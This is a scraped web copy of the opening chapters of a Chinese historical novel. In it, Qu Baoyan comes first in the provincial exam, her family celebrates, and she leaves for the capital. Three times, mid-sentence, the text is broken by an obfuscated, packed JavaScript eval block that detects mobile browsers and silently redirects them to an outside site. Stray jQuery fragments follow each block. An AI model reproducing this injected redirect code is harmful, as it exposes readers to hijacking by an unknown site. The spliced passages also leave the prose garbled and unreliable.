《春风又绿，江南岸》 1. 赴京赶考 天光尚早，檐下晨风带着薄梅的香意，穿过前院几株青竹，掠过卷帘，扑入东厢书房。 忽地，院外一阵急促的脚步声自远而近。 “小——姐——中——了——！中了！小姐中了！” 小厮顾不得规矩，踉跄着冲进花厅，满脸涨红，声音破了腔调似的直往上蹿：“小姐中了举人！还是头名！恭喜老爷，恭喜夫人！小姐要赴京赶考啦！” 话音刚落，安静的花厅里顿时炸开了锅。 瞿老爷手中茶盏差点脱落，瞿夫人在后堂正吩咐人收拾旧物件，闻言更是一把掀起帘子冲进花厅，半是惊喜半是发懵，声音里带了点颤：“什么？你、你说……头名？当真？你可看仔细了？是不是同名同姓？” 微凉的天气，小厮跑了几条街，不敢耽搁半点报信，顶着一身的汗，喘着气连连点头：“小的平日办事头脑虽不灵，但咱家小姐的名字是绝不可能认错的，那三字写得极工整——‘瞿！宝！砚！’，况且夫人糊涂了？十里八乡咱小姐这名字也是独一份的，就挂在今日榜上的头一个呢！” 瞿夫人闻言脚下一软，几乎扶着门框坐了回去，眼里泛了泪，喃喃道：“天哪，这可真是头名……我们阿双，真的中了……可怜我女儿日日苦心读书，真的中了，太好了——对了对了，得快快去庙里还愿，多谢大慈大悲菩萨保佑我们阿双——” 这“中了”可不是寻常中了。这可是乡试举人之首，传闻多少老秀才考到头发花白、家底考空都不一定能中的功名，居然叫他们家不过弱冠年纪的闺女拿下了。 瞿老爷却是比瞿夫人沉得住气一些，抚须一笑，道：“中了便好，中了便好。” 随即正色吩咐身旁两个稳重的老伙计：“你们带几个机灵的再跑一趟去贡院门口仔细看看，莫叫人讹了名讳。准备好喜钱去迎官府报喜的老爷们，人人都得有，绝不能漏了，叫咱们瞿府失了体面。回来时，再将今日放榜名单抄一份来挂厅中。” 那两人不敢耽搁，得了吩咐立即去办。 瞿老爷说罢，转身又从袖中摸出个小荷包来，笑呵呵往那报喜的小厮手里一塞：“今日你这喜报的好，这是报喜的赏钱，拿去买酒吃。”又对着院内众人道，“今日咱们府里出了件大喜事，全府上下统统都有赏钱，大家都沾沾喜气！” “恭喜老爷夫人！恭喜小姐！”一旁的丫鬟小厮们一听全都乐开了花，连连贺喜说起吉祥话，那小厮也乐得直弯腰叩谢：“多谢老爷赏！这是沾了咱们小姐的光！小的眼皮都激动得跳了半天呢！” 瞿老爷乐呵呵摸着下须笑。 一旁的瞿夫人终于缓过劲来：“我们宝砚，真是争气，争气啊。” 瞿老爷看着夫人红了眼眶，心里一软，但眉间那点子得意也藏不住了。人逢喜事精神爽，他略整了整衣襟，抬手拍拍夫人的肩，声音比平时都轻了几分。 “好了好了，咱们可不能先哭坏了身子。”他低头笑道，“今儿这喜讯，可不是让你在屋里哭声叹气的，也别歇着了。你先去东厢，亲自跟阿双报个喜，她这时候该还在读书，指不定听见了动静都没起身，叫她也歇歇，咱们今晚摆一桌，一家人好好庆贺一番。” 瞿夫人听罢点点头，连忙抹了泪，嘴角缓缓勾出笑来：“诶，我这就去。” 瞿老爷又理了理袖子，笑容藏也藏不住：“我这边赶紧去给老太爷报个喜，他老人家这几年逢人就说‘我家阿双将来能中状元’，连亲家听了都笑话，说他糊涂。现在好了，他这回可要笑到打板牙了。” 话音未落，瞿老爷人已迈步出了花厅，步子比往常快了三分，甚至连衣摆都荡出了些少年意气来。 而花厅中，丫鬟仆人也都欢腾起来，小厮们奔走通报，厨娘那边也吩咐灶下准备添菜加酒，就连院中那几株秋海棠似乎也被这喜气染得更红几分。 此时，东厢之内，瞿宝砚正伏案读书。 窗外喧哗早传入耳中，但她的神情依旧沉静而专注，秀丽的眉峰不动分毫。檀香炉中轻烟袅袅，映着她指间翻页的动作，缓而稳。 “阿双。”帘子被掀开，瞿夫人站在门口，脸上笑意尚未褪尽，眼中却还湿润着，“外头的动静你可听见了？” 瞿宝砚见到母亲，放下书，温和笑着缓缓起身，点点头：“听见了。” 瞿宝砚的声音不高不低，却清亮如水，安安静静地落在屋中。 瞿夫人几步上前，眼圈一红，激动地紧紧抓住她的手：“方才看榜的小厮回来报喜说——我们宝砚中了，还是头名。” “那个叫作解元。”瞿宝砚微笑着轻声道，又抬手，轻轻拍了拍瞿夫人的手背。 “对，对，是解元！”瞿夫人忍不住笑出声来，话音一转又带了哭腔，抬手胡乱抹了一把眼角，“我的阿双，真是争气啊……这解元你该得的，吃了多少的苦才换来的——” 她望着眼前端端正正的女儿，仿佛一瞬间，又看见了那个还在咿呀学语、满屋爬来爬去的小小身影；再一眨眼，却已是日夜不分寒暑，静坐灯前埋首书卷的亭亭少女。 她的眼中盛满了一个母亲的骄傲与酸涩，但更多是只有她才能看见的，对女儿的心疼。 瞿宝砚望着母亲，神色一瞬微动：“读书不苦，母亲不必如此担忧。” “这些年你一个人发奋读书，习字，写策，比谁都刻苦。”瞿夫人低声说着，仿佛只是在自言自语，“你爹常说，咱们女儿八字好、志气也高，将来说不定真能……” 话说到一半，她却忽地收了口，像是怕冲了女儿的运，忙住了嘴。 瞿宝砚轻轻垂眸，温声宽慰：“这些年，应该多谢娘费心，您为我操劳才是真幸苦了。” 一句话，说得规规矩矩，却也听得出她心里那点温热。 瞿夫人怔了一下，随即鼻头一酸，轻笑着道：“你这孩子，嘴里总不肯多说句讨巧话。”说着她抬起手来，仰头望着女儿，缓缓理了理瞿宝砚的鬓发，衣领，拍了拍她的肩袖，又将她案上的笔砚稳了稳，像是她小时候那样，一点点打点妥当。 做完这些，语气才算轻松了些：“今日就先放下这些书吧。这榜才刚放，但过不了几日你就得进京赶考了。” 她顿了顿，轻叹一声：“你爹说今晚一家人好好给你庆贺庆贺，往后你一个人在外头……终归是不比在家。” 瞿夫人说到这里又哽咽住了，话没说完，眼里又是止不住的泪，心里实在是万分不舍——她的阿双啊，好不容易考上了解元，却也只是这条路的起点。往后风霜万里，家人护不得她，只盼她能护得住自己，却又不知道要吃多少的辛酸苦辣。 瞿宝砚沉默了一瞬，她没有说话，只伸手轻柔地替母亲拢了拢发髻，一如母亲方才为她所做的那样。 片刻后，她张臂，用力拢了拢母亲越发圆钝的肩头，眼底也红了几分，低声道：“母亲放心，孩儿记得，一定会照顾好自己的。” 另一边，瞿老爷快步穿过回廊，往后院老太爷的居所去。 老太爷的屋子地方僻静，向来规矩也多，连外头的鸟儿都飞得轻些。 屋里，一张老木书桌、一张太师椅，窗下还摆着一张小榻。此刻小榻上正跪着两个穿青衣的小孩，低头背书。 “《大学》第二章——”男孩咕哝着。 “知止而后有定……”女孩拖长了尾音，像是在唱曲儿。 “定而后能静，静而后能安——你闭嘴！”男孩横了她一眼。 老太爷手中的拐杖“咚”地一敲地面，声音不重，却惊得两人立马挺直了腰板。 “瞿淮安，瞿佑苓——你们是来背书的，还是来斗嘴的？” 两个孩子一个十三岁，一个十一岁，正是顽劣不驯年纪，偏又被送来老太爷跟前“磨性子”。谁都知道，瞿老太爷脾气倔，眼里揉不得半点沙子，对小辈的管教更是不容半点马虎。 “我背完了她就学我！”男孩立马喊冤。 “是他先摇我凳子的。”女孩一边撇嘴一边翻白眼，全是不服。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042133|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老太爷拧着眉头正要骂人，门帘却在此时“哗”地一掀。 “爹！”瞿老爷大步走进来，也顾不上什么规矩不规矩了，脸上全是掩不住的喜色， “中啦！阿双她中啦——头名解元呐！” 老太爷听得这话，瞬间忘了怒气，也忘了自己腿脚不便，手往大腿上响亮一拍，就这么“蹭”地站了起来，眼里似有光子迸出来，利落大喊：“好——！” 这一声中气十足，将旁边的瞿淮安和瞿佑苓吓了一跳，他们从没见过老爷子这副模样，对视一眼，一脸震惊的张大了嘴巴。 瞿老爷也被这动静惊得不轻，连忙上前去扶老太爷：“诶哟哟，爹，您可小心点，您这把年纪了，可经不住折腾。” “折你个头！”老太爷抡起拐杖就往他大腿上重重敲了一下，眼神精神得仿佛年轻了二十岁。 “我这把老骨头有没有用，我自己心里最清楚。我这是高兴。” 说着，他冲瞿老爷朝外抬了抬下巴：“去，把我埋院子里那坛解元酒挖出来。” 瞿老爷一脸蒙圈：“啥酒？” 老太爷得意地抹了把白须，故作高深地说：“咱们家阿双金榜题名，那是迟早的事。那酒，是她一岁那年我亲手埋下去的，就等她出了解元之后再开坛。再往后，要是中了状元，那还有一坛‘状元红’，也埋着呢。” 瞿老爷哭笑不得：“爹，您这算盘打得也太远了点。中了解元，咱家都谢天谢地了；状元可是一国之魁，千军万马过独木桥，宁国上下多少才俊，咱家不过江南一隅小门小户，祖上积了点阴德，近年也算富庶，可咱可不敢妄想那登天的事。只求阿双能稳稳当当走进仕途，就是天大的喜了。” 老太爷听了却哼了一声，没理他。转而看向跪在一旁早就听得目瞪口呆的瞿淮安与瞿佑苓：“听见了？” 这次轮到兄妹俩蒙圈了，两人倒是默契地同步摇了摇头。 老爷子的拐杖往地上“咚”地一磕，指着门外：“当年你们太爷到这宋安江边的时候，还是一穷二白。你们爹的太爷，两只手，一根扁担，挑出了瞿家的第一桶金，才有了这块地。到了我这辈，你们爹的大伯、二伯在外头走南闯北，东借西凑，才换得我读书读到了秀才，才有了‘瞿府’这块门面。再到你们爹，兢兢业业守家理帐，瞿府才算是个体面的门户人家。才有你们今天不愁吃穿，有书可读。” “正是这么一辈辈辛辛苦苦地拼，才拼出个门户，拼出个体面，也才拼出了你们大姐。” “但今天这解元头名，靠的却不是旁人，是她自己争气。别看你们大姐文文静静，做起事来，那股狠劲不输任何人。更别说她那脑子——一篇策问，看一遍就能背下来；一场笔试，下笔行云流水，哪个教书先生见了不说绝非凡才。但她能走到这一步，不只得比别人聪明十倍！还得拼命十倍！” 兄妹俩对视了一眼。 “你们知道解元是什么概念吗？那是三年才考一回的乡试，千万人里挑一个的头名！整个澄州省，成千上万个秀才举人里，只有一个人能排在最前头！这一榜，多少人从十几岁考到四十岁，头发都白了还没摸着门槛。你们大姐呢？” 他一指东厢的方向，语气顿起波澜： “不到弱冠！乡试头一回就中了头名！往后这澄州省甭管什么来路，只要听到咱们瞿家的名号，都会因为你们大姐打心底敬上几分。知道吗？” 瞿老爷听了也默了声。瞿淮安和瞿佑苓更是一改原先嘻哈懒散的姿态，都低下了脑袋。 老太爷坐回太师椅，一手捋着胡子，一边慢慢收了声：“你们大姐，是咱瞿家的荣耀。但你们若是想着仗着这点脸面在外头混日子，不读书不上进，哼——老头子我第一个不饶你们。” “要这荣耀，就去配得上她的名字。” 他回身一指那俩仍傻愣愣跪着的小家伙，喊道：“还不赶紧去给你姐姐做个贺喜的大红灯笼挂门口去？叫整个邻里都知道——咱家出了个解元！” 2. 赴京赶考2 两个小家伙不敢怠慢，连滚带爬地穿鞋跑出门去，生怕慢一步被老太爷再敲一杖。 门外日头已升，院中竹影婆娑，一盏盏红灯笼很快挂了起来，风一吹，轻轻晃着，像是也替瞿家添了三分喜气。 到了傍晚，整座宅子愈发热闹起来，庭前庭后张灯结彩。 前厅有两盏显眼的灯笼，做工略显粗糙，分外扎眼——正是瞿淮安瞿佑苓兄妹亲手做的。糊纸的线脚也露着，偏偏写得“解元贺喜”四个大字倒有板有眼，能看得出两个孩子尽了全心。 主屋里，圆桌摆开，酒菜香气氤氲，一家人围桌落座。 瞿老太爷坐在主位，胡子梳得一丝不乱，手边搁着的，正是他亲自开封的那坛“解元酒”。这坛酒陈了十七年，开盖时香气四溢，惊得下人连声叫好。 瞿老爷与瞿夫人分坐两边，兄妹俩则规规矩矩地坐在末位——被训了一通，今日连筷子都夹得轻了些。 老太爷右手边坐了位穿一身靛青花袍盘着髻的女子，是老太爷大哥的女儿，瞿秋晚。 老太爷这一辈兄弟姊妹原本有四人——老四早夭，老二年少未娶便殒于渡口水祸，老大只留下她这一脉独苗。老太爷那辈几个兄弟不分你我感情极深，自那以后，便将这侄女当作亲生的抚养，亲厚非常。 瞿宝砚出生那年，接生的稳婆未及赶到，是瞿秋晚在内屋替她娘撑起了阵脚，亲手接下这个呱呱坠地的小丫头。瞿秋晚不曾婚嫁，一直在瞿家铺子里做二掌柜，瞿宝砚管瞿秋晚叫姑姑，两人性子也有不少颇相似的地方，瞿秋晚也一直将宝砚视作己出，疼爱无比。如今大约三四十的年纪，却不见老态，她坐在那儿一手拿着香扇，笑得温温和和。 老太爷举杯：“今儿个这一桌酒，是摆给咱们阿双的，这回秋闱，咱们阿双一举中了解元，可喜可贺。这可不容易啊，不止是给咱瞿家长了脸面，列祖列宗在上，都看着咱们瞿家出了个真真正正的读书人。”正经的说完了，老太爷玩笑道，“当年老头子我也才考了个秀才，小阿双这才不及弱冠就把老头子我甩了几条街，后生可畏啊，哈哈哈哈。” 众人都纷纷笑了起来。 瞿秋晚也举起酒杯来，笑道：“小阿双那时候才那么点大呢，现在都是做大事情的人了，姑姑也没什么别的拿得出手的，手里就银子多，这去京城路上，姑姑给你准备个大红包，等到了京城，吃穿可不能差了那些京城里的姑娘们，出去一趟，读书之余，也不忘多看看其他风景。” 瞿宝砚之前似乎也不觉得，但今晚屋里的烛火让人格外暖和，身上似乎都要冒出热气，她微微起身，向长辈一揖，语气清正温缓：“多谢诸位长辈。” 坐在旁边的瞿佑苓悄悄瞥了她一眼，又悄悄低下了头。 瞿姑姑瞅见了，笑道：“哟，今天我们淮安和佑苓倒是难得安静，这是怎么了？” 老太爷喝了口酒，笑着道：“你们两个小的，还愣着做什么？还不起来给你们大姐敬个茶，说句体面话？” 瞿淮安闻言，立马端起杯子站起身来，声音响亮：“大姐，恭喜你中了解元！我跟佑苓以后一定好好读书，不给你丢脸！” 瞿佑苓也连忙站了起来，眼珠一转，抬头看了眼屋梁上那两个刚刚挂起的大红灯笼：“大姐，我和二哥今天下午一起做了灯笼给你贺喜……虽然做得不太好看，但我们真的觉得大姐很了不起。” 她顿了顿，又仰头认真看着宝砚：“等大姐到了京城，能常常给我们写信吗？” 话音刚落，瞿夫人便在旁边轻声斥了句：“你们大姐日日读书，哪有那么多时间给你们写信？” 瞿宝砚笑了笑，望着面前两个小不点，也站起了身，举杯回敬，语气笃定：“会写信给你们的。” “我走了以后，你们俩就是家里的小大人了。你们肩上可也挑着担子，要照顾好爹娘，姑姑和太爷，照顾好全府上下。你们是瞿家的孩子，就要顶得住这顶‘瞿’字。” 兄妹俩这听得叫一个心潮澎湃，一股使命感油然而生。瞿老太爷在一旁眯着眼笑，瞿老爷连连点头，瞿夫人眼中也多了些水光。 瞿夫人忧心起来：“眼下放了榜，官府里的老爷们也来府里报过了信，再过几日就得启程进京了。阿双年纪虽不小，可到底是头一次出远门，咱们得好好准备才是。” 瞿老爷点头：“是得好好安排。京城路上远得很，转几省才到，过年气候也寒，衣物行李要备得齐全。” 瞿姑姑接话：“可不止衣物，还有书卷笔墨、文房四宝都要带足了，虽说到了京中能补，可出门在外，阿双也得用，备着总安心。” 老太爷一边喝酒，一边摆手：“还有护身的打手，阿双是解元头名，沿路若遇不识事之人，难免惹眼。” “护送的人我来挑。”他话音落定，环视一圈，“就叫老陈带几人，一路随行，半月前我就开始备着马车了。” 一桌人谈着谈着，从路线讲到供食，从人手安排讲到要不要带几个老嬷嬷跟着照顾起居，谁都没提累，倒像是都想多说点、多帮点。 今晚这桌虽说是给瞿宝砚摆的，但她从头到尾也没说过几句，和往常一样，时不时夹几筷子菜慢慢吃。 她的话本来就不多，只坐在桌边一直听着他们一人一句，有人为她计划路线，有人记得她爱吃醋泡姜，还有人翻出她孩童时爱穿的虎头靴说“京城冷”—— 秋闱过了，天也渐渐凉了起来。热汤入肚，夜色如墨，院外偶有风过，烛影轻晃。 就在眼下的京城之行前路未卜，但瞿宝砚忽而觉得，有家如此，一路风霜何惧。 到了后半夜，两个小孩吃的也差不多要到入睡的时间，便被瞿夫人赶回了院子里睡觉，瞿老爷多喝了几盏酒，有些不胜酒力也回房歇下了，瞿秋晚拉着瞿宝砚说了好一会儿话，最后老爷子发了话才回去休息。 花厅里的蜡烛还在燃着，却就剩下老太爷和瞿宝砚两个人。 爷孙俩聊起往事，老太爷抿了口酒，忽而笑着道：“宝砚，可还记得你这名字是怎么来的？” 闻言，瞿宝砚想起家里长辈讲过她小时抓周礼的事，不禁笑了笑。 瞿宝砚的乳名叫阿双，因为她是瞿家这一辈的第一个孩子，自小得长辈宠爱得紧，连名字都慎之又慎。 “阿双”寓意好事成双、双喜临门，图个吉祥讨喜。但大名一直都没定下来，直到她满周岁那年的抓周礼。 那日瞿家热热闹闹办了场抓周，亲戚朋友齐聚一堂。各色文玩摆了一地，什么算盘、秤砣、银锭、书简……众人正等着看她会抓哪样，结果那小小的手竟一把抓住了砚台，抓得稳稳当当，怎么都不肯松开。 那可只是个一岁大的孩子，而那砚台又沉又滑，连三岁孩童都未必能握住，更别说拿起来不撒手。 瞿老爷和瞿夫人是惊讶又高兴，直道这孩子将来怕是要跟书本砚台打一世交道了。 老太爷更是一拍大腿，喜得合不拢嘴： “这手一伸就进了文章里！不是状元是啥？” “就叫宝砚！瞿宝砚！” 堂中烛火忽地颤了一下，瞿宝砚看向老太爷缓缓道：“您说，宝者，珍也；砚者，文也。取其珍重文章、执砚为志。” 老太爷点了点头：“你如今中了解元，没想到真就走上了读书这条道。但我今儿这杯酒，不只为了庆功。”他说着，微微正了正身子，“老头子我也得跟你唠两句，这几句话，怕等你上了京城不见得有人再跟你讲，而又最好有人早早就跟你讲了。只得我这个祖父来讲。” 瞿宝砚端正坐着，神色认真：“您说。” 老太爷望着她，语气渐沉，缓缓道：“世人都说读书难，但其实读书啊，靠的就是两件事：一是专心致志，二是融会贯通。大多人没有这个定力，便归结于聪不聪明。天赋固然重要，但还要下苦功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042134|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫，而你有文章天赋，再加上这份苦功，就能读得好，考得出，成文章，得功名。” “可入京读完书，考完试，最后是去干什么？——是去做官，这里头名堂那就大不一样了。” “你读的那些书里讲‘为政以德’，讲‘天下为公’，可你真到了官场上，衙门里——人情、利器、权衡、虚实，全都有，但你读的书里却一个都不会教。” “你若只会读书，就叫人牵着鼻子走；你若只讲正理，别人把你当迂腐；你若处处退让，又失了立场。要走得稳，就得心里有数：哪一步能让，哪一步不能让。” 他说着，举起手中拐杖，点了点地面：“这天下不是纸上文章，这仕途，既要拿得起笔，也要沉得住气。写得了文章是一码事，做得了实事却又是另一码事。至于怎么做，老头子我也只能提个醒，就看你自己怎么边学边悟了。” 瞿宝砚静静听着，没有插言。 老太爷说完，停顿了好一会儿，良久未语，宝砚也静静坐着等着。 终于，老太爷又继续低声开口：“你是我们瞿家的骄傲。也是老头子我这一辈子最大的骄傲。可话说回来，老头子我也惭愧。” “我孙女能考上解元，是你自己争气，是你苦出来、拼出来的，咱瞿家也跟着沾了你的光。瞿家能为你做的，不多——这一路上，我们能保你衣食不缺，保你安全无虞，一路稳稳当当到了京城。可一旦你进了京，那之后的每一步路，家里就再帮不到你什么了。” “京城那地方，风比南地冷，话比人硬。你姓瞿，他们不认识；你中了解元，他们也未必放在心上。咱们家在千里之外，到时候，鞭长莫及，爱莫能助，一切都只能靠你自己了——” 他这番话，说得不重，却一句比一句沉。在那灯火轻晃的酒桌上，仿佛远处夜风也忽然止了。 瞿宝砚声音平静，稳稳颔首：“孙女记下了。” 老太爷放下酒盏，微微叹了口气：“老头子我这一辈子，如今也算耄耋之年了。能把瞿府撑到今天这般模样，说不上什么了不得，可也算是没叫祖宗蒙羞。你是我孙女，又有本事，可惜祖父不是丞相那样的大官。我不能替你铺路，也不能替你挡风。但我能教你的、能传下来的，哪怕只一句话，也不白活这辈子。” 他转头看向瞿宝砚，目光清明而沉静： “宝砚，你记住——到了京城，你就是你自己。” “没有靠山，没有背景，没有旁人替你说话。” “你是瞿宝砚，孤身一人立在庙堂之下，风吹雨打，没人为你遮。” “但做事，有一件东西，可以保你立在风口浪尖、泰山崩前而不倒。” 他抬起手，指尖稳稳敲了敲桌面，一字一顿： “那就是——正。” 屋内静了一瞬，烛火微晃，仿佛连墙上的影子都肃了三分。 “人可以不得势，不得宠，不得利——但不能不正。” “你若正，旁人虽算计你，终究忌你；你若不正，哪怕有权在手，也不过是风中纸。” “正，不是叫你事事讲理到头碰壁，也不是叫你不辨是非甘为牺牲。” “而是你心里要有一杆秤——偏得动，沉得下，明得起。” “别人求快，你求稳；别人求势，你求安；到最后你会发现，跑得快的未必走得远，手握大权的也未必能安然睡觉。” 他顿了顿，声音低了些，像是嘱托，也像是疼惜： “这条路不好走，但你只要守得住心，行的正，就能一步步把别人想不到的位置，变成你能稳稳站上的地儿。” “你将来是什么样的人，不靠你姓瞿，也不靠你中了什么元——就靠你到底能持正多久。” 老太爷说完，慢慢收了声，拐杖往地上一磕。 “明白了吗？” 瞿宝砚抬眸，起身郑重一拜，肃然应道：“宝砚谨记。” 3. 千里入京 天未大亮，瞿府所在的街巷尚笼在一层薄雾之中。 瞿府大门前，三辆马车早已备好，车帘罩着新织的墨色帛布，边角缀着素线绣纹，低调而不失规矩。车旁站着老陈与两名随行护卫，俱是老太爷亲点之人，寡言沉稳，眼神极利。 屋内送别的话已经说得差不多了，老太爷今早没出来，只托人递了只装有砚台的祖传小匣子，说“路上有它，便如老头子陪着”。 瞿宝砚一袭青袍立在晨风中，一根玉簪半绾着发，腰间束着素带，未施脂粉，却自有一股清润端肃之气。 瞿夫人眼圈红着，低声嘱咐了一句又一句，瞿姑姑陪在旁边也是叮嘱再三，保重身体，不要吝惜财物。瞿老爷心中自然也是疼惜又不舍，只埋头频频往车中添东西。两个弟妹也早起在门前等着，瞿佑苓捧着干粮小包递给瞿宝砚，瞿淮安将两人各自写的一封“大姐保重书”还有他们攒下的一点碎银一并偷偷塞进她的行囊里。 等车辚辚启程，前轮压过门槛石的刹那，瞿宝砚轻轻回头。 她望了家门一眼，看着众人，未曾落泪，也未出声，只默然躬身，再行一礼。 然后转身登车，车帘落下，马蹄声响，车队缓缓驶入晨雾深处。直到后山竹林倒影拉长，一路青山，渐渐展开。 京城千里，路途漫漫，才刚启程不久，天边已起微光。 · 第三日，车队暂歇在县城南渡驿站。 天光正好，街口熙攘，小商贩与过路行人挤在巷口的茶棚下，点壶热气腾腾的粗茶、一碟花生米便能听上一段。 一名说书人坐在高凳上，身披一件半新不旧的青布褂，扇子一展，“啪”地一拍桌面，正讲得唾沫横飞： “……诸位客官，可晓得今年这秋闱盛况？那是三日三夜，文墨不绝；千人百卷，堆满长街！这澄州三年一次的乡试，百里挑一，千里无二——三日前，可放榜啦！这今科头名，可不一般！” 他顿了顿，折扇轻摇，眼中光芒一闪：“是一位——女解元！” “哎哟！” “女解元？！” “真的？不是说笑吧！” 台下顿时炸出几声惊呼，原本只在角落喝茶歇脚的过路客，也纷纷侧耳倾听，就连角落里打盹的老先生都睁开了眼。 “诸位且莫惊，听我慢慢道来。这位一鸣惊人的女解元，姓瞿。这位瞿解元啊，年不过弱冠，便三场连捷，初试、中试、复试皆为上上之选！文惊主考，墨震官府！有传言说，主考大人阅她策论时，连连点头，拍案叫绝——直道‘此文一出，再无第二！’” “你们且想，策论如行云流水，破题如刀切玉，铺陈有法、立论有骨，连诗赋对答都百发百中，篇篇见胆识，句句藏锋芒！十年未见之才，便是这等人物！” 他话锋一转，又道：“但你们要晓得——今年这科，可不是寻常时节，那简直是——神仙打架！” 他扇柄一划：“考场之上，坐着的哪一个不是咱们澄州上下有头有脸的才子？金陵冯子阳，年仅十八，文章出口成章，素有‘小韩退之’之称；西关沈未舟，落笔千言，从不涂改，才名早传京中！还有谁？江右书院出的顾家兄妹！兄为状元苗，妹是书坛奇葩，不少人都说，今年这三元之誉，非他们莫属！” 他说到此处，陡然一顿，折扇猛地“啪”地一合，声音如雷： “谁曾想——这头名，却叫位横空出世的瞿家小姐一人，拔得头筹！”说书人说到此处，眉飞色舞，声情并茂，仿佛头名就是他自家亲戚，恨不得张榜昭告天下。 台下也是炸成了一锅粥： “真的假的？压得住那些人？” “女中豪杰啊！” “顾家那对兄妹传说不是出身书香四代吗？” “那得是写了啥？” “这瞿家小姐到底是什么人呐？” 说书人像等的就是这句，眼睛一亮，折扇“啪”地一合，身子前倾，眉飞色舞： “问的好！这就是关键之中的关键了，你们可知道她祖上是何人吗？” 他话锋一转，眼睛眯成了一条缝，像是要吊尽众人胃口： “这位深藏不露的瞿解元，祖上——乃当年辅国大将军瞿南成！是谁？当年一封家书止边乱，三策上朝夺权柄，文能安天下，武能定乾坤！一身肝胆，半壁江山！如此血统，这般天资，那是一笔落纸，文官俯首，才子退避三舍！那叫一个——一脉文骨，天生笔胆！” 台下顿时又炸了锅： “怪不得！文能得解元，武能领兵权，书香将门，两头都占了！” “听说她不及弱冠，那岂不是还未完婚，说不定这次中了解元，皇上都要赐婚了！” “哎哟，那谁家公子还敢上门提亲？这等人物，怕不是得从翰林院挑！” “我堂兄在贡院当差，说她进场那天穿得素净极了，一身月白长衫，连回头看都不看一眼，冷得能结霜啊！” “你懂个屁！那叫清风玉骨，贵气天成，谁见了不低头？” 说书人越讲越玄，嘴上花开：“这瞿解元幼时三岁识字，五岁背书，七岁能倒诵《诗经》三百，一字不错！策问一出，你道她怎得头名？那是笔落惊风雨，文成泣鬼神哪！” 他话音一顿，抬手高高一指：“诸位听好了——若你们哪日路上有幸遇着这位女解元，可千万别当寻常女子看！说不定转眼几年，她就是金銮殿上的大理寺卿！甚至——当朝首辅！” 轰—— 台下一片倒吸凉气的声音，有人茶水未咽便呛了出来，有人激动得直跺脚： “我说我昨儿路上见着个姑娘，气度非凡，莫不是她？” “完了完了，早知道也把我女儿早早送去读书了，那丫头现在一首诗都记不住，还来得及吗！” “这等人物，得记下来，说不准以后得写进史书！” 不远处，茶棚另一侧，一位身穿青袍的年轻女子正坐角落，举盏静饮。 她眉眼清淡，面前只一碟茶点、一盏粗瓷热茶，身边坐着个粉团脸的小丫头，以及两位沉默寡言的中年随行。 直到听见那句“祖上瞿南成”，才轻轻垂下眸，眼底似笑非笑。 她怎么不知道，她还有个做过辅国大将军的祖宗？ 宝桃儿听得气鼓鼓，咬了口茶点：“我们家小姐就是这么厉害，不需要什么辅国大将军的祖宗也照样厉害。” 坐在另一边的老陈与同行的护卫对视一眼，眼中也带笑，这一路他们都听惯了这些“市井神话”，不置可否。 “倒也不是坏事。”老陈低声道，“传得越神，也越让人忌惮些。” 这时瞿家的小厮从棚外快步走来，在她耳边低声禀道：“小姐，船已靠岸，可登了。” 瞿宝砚点点头，喝完最后一口茶，抬手将几枚铜钱置于案上，站起身，理了理袖口：“继续赶路吧。” 茶棚那人还正拍着桌面高喊“她策问如剑，斩得群才溃不成军”，讲得酣畅淋漓，却无人察觉——在这片热闹叫好声中，这位传说中的“女解元”，恰好就从他们的眼皮底下静静走过。 · 江船缓缓行于江上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042135|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，风带着潮意拂过帘角，船身微晃，江面波光潋滟。 船舱被分隔成几处静间，宝砚与随行几人坐在最里一间，隔着帘子与外头热闹声隔开，宝桃儿细心在案上摆好笔砚，还有瞿宝砚要看的策问残卷。 瞿宝砚本来坐在舱内小憩，脑中忽然掠过几条义理，此刻便捧起书卷研读，眉目专注。 近了傍晚时分，船上客人多在茶间歇脚。 忽然帘外一阵躁动，只听几声劝不住的喧哗：“冯兄，冯兄你喝多了，就歇歇吧！” “她中个解元又不碍你……哎呀你别掀帘——” 一个身影踉跄闯进茶间，面带酒气，年纪不过十七八，一张面孔清俊苍白，衣衫虽有褶皱，却难掩风度。 正是金陵冯子阳，江左书院出身，年仅十八便以诗文名动澄州，素有“小韩退之”之誉。此次落于乡试前十，原就心有不甘，偏偏第一名是个名不见经传、不知从哪半路杀出来的小人物，心中本憋着气，今日酒后被人三两句挑拨，便忍不住情绪上头，走出舱门，口中仍在忿忿： “现下世道，也不知怎么了——末流之辈都能中解元，若再叫她中个进士，岂不是我等这些年苦读，全都喂了狗？” 那声音略带醉意，语气里那点酸气藏都不藏。 帘外几人哄笑：“李兄言重了——听说那位女解元生得极好看，文章也好，倒是你多心了。” 